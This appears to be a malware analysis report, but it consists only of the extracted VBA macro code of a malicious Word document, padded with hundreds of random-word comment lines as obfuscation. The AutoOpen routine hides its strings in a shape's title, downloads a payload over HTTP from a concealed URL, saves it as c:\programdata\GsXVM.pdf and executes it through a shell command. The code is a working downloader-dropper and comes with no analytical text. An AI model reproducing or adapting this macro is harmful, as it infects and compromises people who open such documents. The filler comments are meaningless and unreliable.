Malicious Office (OOXML) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "QdQts"
Sub AVqDG(OTGIO, Optional ByVal mcmof As String = "systemobject")
' Farmed dogy myths
' Exorbitantly fingerprinting extravagant
' Gaining merest strived
' Contractors disabilities giblets purveyed
' Waggling brutal
' Anguished convention subscription
' Descriptivism rivet imperatives
' Pugnaciously transposing
' Strand molesting amulets exhume
' Engraver mittens infanta contented
' Omnipresence gestation untrue fiasco
' Nguni retiree accommodate crewed
' Unclasping distrusts mistrusts clouded
' Faintly harmed
' Blackmailed civilise
' Infirmities subsides surveyor reinitialisation
' Guineas manliest newness erosions biogeographical
' Ballbearings
' Bumping cirrhotic refresher imperial
' Logarithmic
' Simile unpromising lacier rarely sections
' Mathematicians survives
' Burps inculcation
' Decryption irreducibly amphibian
' Politics okapis fivers lushest schoolboys marginalising
' Root gourmet mantles
' Bargainers teeniest flee till
' Craning archaeology caterpillar
' Mismatch fatter nosy
' Separatist dovetail
' Enquiringly bottomed
' Narrators choreographed
' Congratulations priapic highspirited metalworking giddiness seismologists starrier classifies
' Delivering leisurely propensities
' Skydives omissions baseness
' Insular wheat incantatory trapped
' Dually integrations soulful tally climatic
' Undeclared sicken coercer harkens upwardly
' Fingering bracken droopingly
' Keystroke familiar misprinting ride plaudits
' Hawker plotters caution tremendously
' Canaan
' Hutch harbours
' Limpet transfixed frictions
' Enforceable stagnating jurymen improperly unbidden
' Dervishes lament carbuncle borate
' Sourly iceskating insulted
' Entanglement inaccessibility
' Sneakier astir
' Magician bolder beading
' Dissect buckled
' Femininity claimant
' Artichokes bust
' Genteel dispelled
' Particulates primordial breach
' Thatched unaccounted breviary stet exhilarated
' Request coveting
' Unsullied classrooms crowns straiten
' Deportations curtained overflows psychokinetic
' Fowls lookalikes hoping
' Colonial moraine analysers assume accommodate
' Labels hitchhiker
' Billing slushiest cozier mucking discrepant vulcanise
' Saltpetre classificatory
' Hawks bats volatile
' Bypass wellknown stockinged
' Ferments abjure vier dried putatively deciding
' Malnourished retarding devotee adhesion liberalising
' Untruthful
' Competitiveness skids lightship congruences
' Overflowed escapes jolting
' Nay
' Complacently inclement professed quarterly
' Breakfasts
' Winners
' Pragmatism
' Walkietalkies detours greased hardier
' Epidermal dominant
' Cathartic mind exacerbation crofts
' Sprains muskier cornea george accosted
' Fuchsia
' Rejoins tied xylophonist
' Bafflingly dipolar rector untrusty awakening serfs
' Belligerent mitosis stacker
' Intonations
' Hoarfrost serialising
' Analysers unsecured amour airless
' Chords
' Circularly newlyweds handstand departures
' Ranter tucker proclaim outfall
' Checkout midwives brewed bows
' Caption unreceived seeped
' Acidified hotting distortion multichannel beefcake
' Simplistic exponentially
' Toluene spheric
' Froggy lilywhite sergeants stipulated
' Gravedigger megalomaniac cripplingly stenosis conclusively
' Biting purification blunders antedates
' Garlanded
' Marriages jacked broiled
' Delicatessens wins raise crushed schismatic
' Hedonistic fanned
' Reification refloat intimacies shipwright idiosyncratically
' Culprits septet humouring meal
' Ombudsman damper
' Evacuate leanest stags
' Cole llamas mights bibles brother
' Foregrounded topspin reissuing enquired
' Saluted
End Sub
' Behindhand
' Astir tyrannic smellable heuristic logistics aquanaut
' Panacea nifty whys bellowing
' Pugnacity anorexia xhosa gobbledygook creams recyclable consonantal
' Cough personage
' Nitrogenous balmier mistakes pheromone
Sub AutoOpen()
' Sexless braincells madder spellbinding
' Honouring overtakers umbrage counsels
' Balancing satiation projecting hostesses retort acquainted
' Sunflowers wilds enunciation overfamiliarity commits
' Horn mediates
' Twines racked
' Pithy adaptor noel
' Recover beautifiers
' Schema
' Chattels
' Conceptualising berets goof
' Poliomyelitis
' Brutishness secretions
' Reductionist bipartisan ousting
' Caymans
' Beloved dishonesty
' Monosyllable
' Claimant sympathise laterally arabians
' Dermis wallowing
' Dismounting ban tentacled faithless thrones inhomogeneities
' Shins dogmatism cobra
' Encountered corollaries tern reprimanded
' Tapeworms plumping eddies
' Clenching filthiest
' Baggy unflinching smokier places sheeting
' Signposted manually inclusion irrespectively gyrate quebec
' Thoughts overcapacity
Dim omltn As New jZuLf
' Privy nairobi caddies tousles grin
' Weatherworn naught
' Positrons
' Episode fumarole economise
' Delightfully constituent bicameral leaved cops
' Raided extrinsic floras
' Letter disposition
' Falsified shootings supple inextricable decanting furious rockery
' Unhealthily entrapment creeping perspire
' Hopping harangue squatted witchdoctor harbours
' Unreached lyon avowals freely glisten duplicator
' Disputants
OTGIO = omltn.gzVHC()
With lrRiF("ADODB.Stream")
.Open
.Type = 1
.Write OTGIO
' Touts
' Undecided bunker sucklings assisting counsellor
' Ovarian nuts follies
' News radiogram
' Gradings
' Ensnarl illfated engender hexane
.savetofile (hEOpo)
.Close
End With
' Defiles
' Jollify fastidious assembles badge deists disgustedly functioned
' Leer impressively smithy
' Discomfort auxiliaries abomb millionaires connect politically
' Utilises burrows rental heartbeat
' Prised recounting middle retsina weakly
' Roadhouse overt
' Administrators dredger overtaken earthwards unfamiliar functions erasers
' Disclosing forgoing truce priggish repulsively
' Propagated salary
' Withhold defrosts abates chlorinated claimable playfulness
' Blood whey
' Ellipsoids travel trowels
' Nib payload
' Spindle
' Disown blah flapped clarity
' Refreshment resourcing wombats sparseness boasts greedily
' Jarring researching ngoing
' Unsafeness symmetries mortgaged gunwales generating fulcrum
' Pined cortege propionate gluing
' Tactically
' Foggier
' Modernisation bloat stegosaurus
' Overplaying forefingers
' Accredits febrile
' Prints civilities sermons quarantine
fPPdJ = 2
LtHXv = 0
oWTat = lGKLH(fPPdJ)
zhlnU = lGKLH(LtHXv)
' Heron placate ungratefully
' Intentioned timetables
' Extrinsic ringed
' Sandalled fulmination embroider teethes defiantly
' Groupie conk slicked
' Secessionist equably genitives exceeding
' Participatory fleshed imposing castoff
' Safeties discriminative evincing publicist
' Catastrophe
' Bole punctilious unlearn phraseology smoky clothes
' Abounded batiks saturnalia promptly
' Prepare girt breathingspace sentence slightly
' Supplementation jihad
' Shared erupted battlegrounds crusted
' Reelects
' Haunt aqua isomorphisms balconies vectorised
' Grumpiest fears dutchman
' Forthrightly rostering taster odourless illiquid kidneys
' Spurns overestimates reindeer sufferings dodger
' Seeps
' Cirrhosis pulsars awards cesspit obstinately goofing
' Parcel merge undisguised stud esprit
' Gigantically complain replication disciplines
' Undignified redecoration grapevine jester stratosphere fish
' Consequence
' Fiercely coursing
' Emancipating slang
' Contained
' Unilaterally convolve boxers
' Convinced dualistic
' Destabilised jupiter
' Warms deepen stockbroker writhing outsmart
' Rhombus sibilant alder frock
' Toleration aggressors terrapins purify stalk
' Unauthorised serenade emigration aspect unavenged realities
' Restoration readily cluttered boudoir
' Goblets complains augment dossiers buzzing
' Smasher feeler
WMgDV = ZraUq(zhlnU) & " " & hEOpo
' Theorems explain
' Witheringly attaining bookstalls
' Colloquially numerologist rankle
' Defacto orienting extent
' Obscure stonier
' Behave necrophiliacs
' Colossal pureness
lrRiF(oWTat).exec (WMgDV)
' Amenable damsel bantams abides horseflesh incautiously
' Itching loftiness undernourished rectory bronchitis receptacles
' Hackles snarl varsity unworthy sealer watcher
' Croakiest burned talisman
' Boston abruptness
' Curtailed seaport bridegroom disporting baron
' Harrying famines cheerio underparts merrygorounds
' Spinnaker accomplished detailing
' Hanggliding vend characterful clinches
' Reappearing gaseous volleyed pithily
' Dotes scape slushes stationed strong clucked
' Durations circumnavigates
' Unstopped fascination unwanted judaic unfold inadvisable
' Disastrous spoil elucidates battalions visa
' Altars magnificence miserly swans
' Gophers pages
' Circumferences
' Demotion leaflets tweeters ponderously
' Grinders incapability torsional
' Weevil porthole algae shaven
' Inexpertly celibacy
' Betrayals suspends sculptural overrate
End Sub
Function klmap(HGjpe, XprIB)
' Wrestled clumsiness political
' Sideboards borrower advocate flightless pertinacity
' Bringing interactions press radium compliant lobed
' Cubic undergo impersonal
' Theism engender
' Cyan
' Beards roomy agonises hideouts
' Buckling intoxicated mastication
' Riff midships corporeally rambler cookers
' Whereof
End Function

Attribute VB_Name = "zbHuA"
Function lrRiF(ktaRk)
' Polychromatic coronations firth canonisation yawns
' Sourly reformatted sparta florist
' Drumbeat sequestered described
' Sanitisers dwarves windfalls sewage
' Suspect canals symbolically unwaveringly obscene
Set lrRiF = CreateObject(ktaRk)
End Function
Function zxqhu(XbUbv, fmGpK, hkakF)
' Papilla stereoscopically grassiest drivel
' Semidetached again
' Disarmer
' Haunches fogs lend nude
' Lumbago threw release washington encamped
zxqhu = Mid$(XbUbv, fmGpK, hkakF)
End Function
Function ZraUq(bsUEd)
' Featuring adjoins regenerating
' Orders
' Designate scripted caddies stiffener epidemiological
' Artisan greatgrandchildren
' Condiments volcanically damsons procreating
' Grandson autopsy fashion
' Medications interwoven smother ungulates
' Cruxes unrepentantly jabbered
' Nits hindering
' Dimmest
' Encumber fragmented overestimating globose mortifying cormorant rapped
' Capitalises
' Galoshes
' Chosen revalued labelling enquire
' Contrasty crests feeder eliciting intrepidly
' Insides heavies extinguishers
' Cemetery cleg lazier dryly
' Fluttering subverted
' Luminary confusion
' Polyesters stocktaking factorising soddy
' Shaped latitude massaging
' Retitling traced bastardy
' Togo snarled hyphenation ostracise baking infancy
' Somewhere
' Damply pear
' Sandpipers unreliably standardises mutant
' Typecast seraglio
' Unpreparedness jazziest
' Chores fiddle fanciest believers
' Oaken leech eavesdrop
' Ascertainment warpath constituting stampeded impunity
' Excusable hushes
' Cyberpunk
' Recorders recently
' Ducts guns drudges prioritisation bussing
' Frowned biochemist
' Danceable plasterer
' Humid smallish loudly
' Homecomings crayons affects
' Mini swearword funnelled
' Lumpiness perturbations neutrino frowns pushovers
' Aden dystrophy
' Quality upgradeable mouth unruliness
' Neutrals runes retread consensus
' Cans underwear recordings
' Implode stage adrenal commissariat
' Illustrator cheerlessness throttles cyanogen
' Sleaziest fame peruse speedometers joysticks
' Vileness unfortunates stints axed exerting
' Codicil feuded
' Decants paramedic pureness penetratingly
' Denier episodes interject particular hone
' Halters gospels spectacular
' Palisade exempted abortionist blah hardearned
' Invalidate
' Dingiest showman
' Listed braving
' Desirous recirculate gates fruitlessly ultraviolet
' Inducements
' Shoved contemporary encyclopaedic aggrievedly
' Refill confocal preparations officials handmaiden ripping
' Boobytrap splenetic
' Enchanted canvassed jerboas bleary
' Payed verging countenanced grumbled
' Roofed fortifications drizzled murder
' Incited socially
For TAdBH = Len(bsUEd) To 1 Step -1
JLrDY = Mid(bsUEd, TAdBH, 1)
MQSdu = MQSdu & JLrDY
Next
' Bodes
' Snowstorm graviton expostulations
' Deduction
' Ribbing fluffiest storeman
' Windsor could abided western wilier
' Finisher
ZraUq = MQSdu
End Function
' Obligatorily transgressions sonorities
' Meander tolerably
' Undercutting plum picker sanity ponderous
' Graciousness toothy
' Maturer imploding fermented
Function kbLmx(kxYxv)
' Stands sated chirruped concurrent
' Rolls cradle
' Accesses indaba deducting
' Executioner ripens neurosurgeons honks illuminates
' Questioner relishing
' Dracula programmers subtitles escarps schoolchild
' Comet plebs gazing
' Endures liquidator paroxysms
' Broadening
' Meanwhile exultingly arrivals
' Signs believable
' Fruitiness exceptions assuage
' Lickerish previous flaying comprehensively unfeminine selfsame while
' Grunt pragmatist previously deleterious lurex bleed
' Contour tangling scarves gondolier
' Localise kilojoules abolished traumata
End Function

Attribute VB_Name = "jZuLf"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
' Thyroids ether
' Expenses troop dwell topics
' Assailants entente shipboard
' Coalition underside heavenward
Function gzVHC()
' Chandler prosecutor humbler
' Maturer altarpieces
' Villainy apocryphal suck
' Unvaryingly highlighted
' Unrevealed prototyped metabolism
Dim vsPhd As Object
' Gnawing
' Uprating colourise
' Lector workforces
' Arias plague expeditions
' Disproofs opened melt eccentricities
' Normalcy rootless chewer hairstyles
' Purify evangelical publicists describers
' Sears cubicles
' Learned leavers built turbid irrefutable nocturnes reputations
' Baton comply placatory gloss
Set vsPhd = CreateObject(lGKLH(3) & "." & lGKLH(3) & "request.5.1")
' Impossibilities scribbler sceptical invigoratingly traverse exponents
' Nominative winnowing academicians officiousness surtax
' Munificence vanishes
' Roughs murky lexemes
' Blacken universality
' Gdansk mortified prestige
' Unmelodious reclined kept
' Unrests stadiums despond memorably ovens
' Shakily foolishly adventurous stems attached augite
' Fondled oust
' Moped
' Disconnections
' Fastener statecraft
' Quantities apothecaries
' Bedpost propitiation
' Coastguards tolls foliated gospels unsaved
' Merchandise battens socialised acceleration exposing elk
' Laughs burgles expel hydraulics
' Direness undecorated regarding couplet
' Buy grave classificatory titters
' Exhalation
' Tucking
' Accredits ignition cheeky
HUtly = lGKLH(1)
' Finland torts thirsty quadrupole
' Biochemistry parakeets affinities
' Theology droning doberman petulantly
' Additives fleas resistance
' Torchbearers trainee turfy preternaturally reinventions tresses still
' Goodbyes ghastly draftsman preferentially colouring ruse blowpipe
' Trifler patrilineal molecule
vsPhd.Open "GET", ZraUq(HUtly), False
' Prearranged grates
' Hydrological prig immaculate fakes
' Commonest vandal
' Serials parasols titanically thrower cuckoos rehearsed confederations
' Moribund outspokenly welder
vsPhd.Send
' Heartlessness simplifier scrappy verbs
' Procurements mismanage reorder
' Irises aphrodisiac
' Doing
' Peptide flabbergasted
gzVHC = vsPhd.responsebody
' Neural eg bus better
' Indissoluble unjaundiced pruned intoxicant countrywide
' Sentenced carbonyl scrawny consumer
' Dourness predicted emasculated
' Uneatable elementarily
' Particulates pentathlon discursive legalised
' Pipettes
' Galactic cadaver
' Exits dialogues minimality
' Consume avoidable viewer
' Whiplash beadyeyed delightful nosedive spectre distancing
' Pilgrim
' Crimp thieves basks crumpets
' Externalised humanly peeks gladly sandpipers localise
' Handler
' Evilness deliver
' Mayhem decimating
' Plummet chatty gradual sediments problematically
' Applique showier strongly
' Woodshed enormities bluff
' Porch ornamentation staccato instructional irrigation obstinately
' Trapping spotlight fate emperor sway
' Confectionery wildcats blistering grouping
' Contenders
' Patrimony rushier
' Ballet symptomatic instilling
' Vegetation
' Dogooder meticulous gainly georgia tables
' Aversion sneeringly
' Normalisers bussing hoodwink plotters fibrillating reeds watermarks
' Rehouse floe woods
' Singsong diffracting grammar mystics ocular stroll cryostat
' Elsewhere unhidden server
End Function

Attribute VB_Name = "IvdGP"
Public Const jrIUN As String = "-----"
' Missiles superstar springer
' Dominant lustier
' Getaway sandpipers humiliation redevelopment resigned handel
' Incur hygienist trains amalgamates
Function lGKLH(gDXvK)
' Shirt columnar egotism empower
' Thanklessly
' Breather operands exoderm turmeric
' Reproductive valueadded sculled
' Havens inordinate
' Cathodes
' Reproofs
' Perceptively insoluble
' Responsiveness
' Gearstick inconsequential overcrowd westward
' Pocketbook sensationalistic pluckiest gimmick pickpocket airtight cancel
' Unregenerate gilds
' Decry compassed
' Visitation varietal apportioning innocuousness anodes
' Everyday collated holocaust
' Surfactants
CzlnP = Split(ActiveDocument.Shapes(1#).Title, jrIUN)
' Reinvention empathising
' Ought rewrote punctilious
' Advert washerwomen
' Flab aristocracy
' Mallow diseased disfigured lifesize contravene
' Acceding dreading reparations greatgrandson
lGKLH = CzlnP(gDXvK)
End Function
Function hEOpo()
' Necromancy tapestries etal meantime
' Interviewing undergraduate waste versatility
' Competitiveness investigating janus rebuke theatrical
' Repellingly narcotics darned
' Tramped wobbling kelp jewsharp strifes
' Thanklessly
' Palm proboscis waitress disappointing
' Golly orthographically availing grin
' Ramping molarities
' Equalities bestride scrumhalf schools cyanide
hEOpo = "c:\programdata\GsXVM.pdf"
End Function
Sub CacHH(xUnGs)
' Governor wetting herded
' Sisterly extinguisher
' Fretfulness knighthoods stalagmite
' Sutures replanning
' Penetrate lysine unattended
' Extern assassinating capabilities
' Mindset
' Obsess devouring leitmotif retrofitting designers bundles
' Spirants crooked brahms
' Absentminded commissioner
' Forfeited convert
' Banks flamingo
' Scrums navies
' Vying nominative uproars misjudged
' Engulfed puzzles exemplary
' Murderous misdealing groves amassed
' Unskilful transcription waggishly
' Perpetuate filmed coiling sipping
' Piazzas dedicated supernovae latvia questioned householders
' Auks postmodernism refuel deny
' Overemotional topics hillock abut
' Gestures thornier trunnions
' Courtiers blunting reshapes
' Upholsterers fuzzy selects banshees constitutions yellings
' Hawking
' Ext infanticide
' Experiment predefining litres electorates automate
' Viewing reconnoitring slants
' Behind bureaucratically cripples lungs
' Hobble regretting wheedle
' Macron contradictions tomfoolery
' Bifocals chisel genteel
' Fortress quails windings unsubstantiated spar
' Reselect instrumentalist trustingly
' Fulfilling
' Highbrow ungodly square lumpier
' Homotopy cartography starred eligibly
' Unspeakably
' Overwriting
' Footfall masticating hierarch holistically
' Withholds erected deteriorates anticipatory lefthanders
' React bacteria gradation
' Healthy confided
' Shriek stems speculate
' Primeval retractable
' Syllogism forsakes allow
' Maladjusted evolved struck filch
' Nod ashbins unsteady haemorrhages
' Intentions otherwise haemorrhoid
' Resisted deniers parentage devotedly sensings gashed
' Paedophilia referee stitched experimentalist interlocks
' Faggot hanged disfavour registers affably celibacy
' Flutter
' Unbearably investigate
' Niggardly
' Flutter
' Backup compiled
' Discourse manically informal homely
' Printable regales ionian
' Recommendation riper cosmos scrape
' Thievish
' Unpretending
' Switchable applauding
' Kleptomania carbohydrates deadliest
' Oompah bell
' Chirp rebukes
' Slowest watercourses enamel idiot
' Retch
' Haemophilia pigtail souls scaly hydroxides
' Relapsing hags mocking grimly splodges
' Casuals insufficient
' Dulcet polemics opera mystically jabbering
' Rigour metaphysical
' Exasperation activity
' Procures turrets
' Antlions stifles hydromechanics sword
' Hawking
' Flints dispatches bullock apologetic
' Ironage control cocktails
' Beggared
' Reinstated rejoin formalities at aunt
' Scraped treasonable fur skulking instability
' Differentials
' Karst
' Dishonour horsewhip
' Wellington actuator playgroups
' Spans elusively tramped
' Interrogation schooled defiles turin bulkiest
End Sub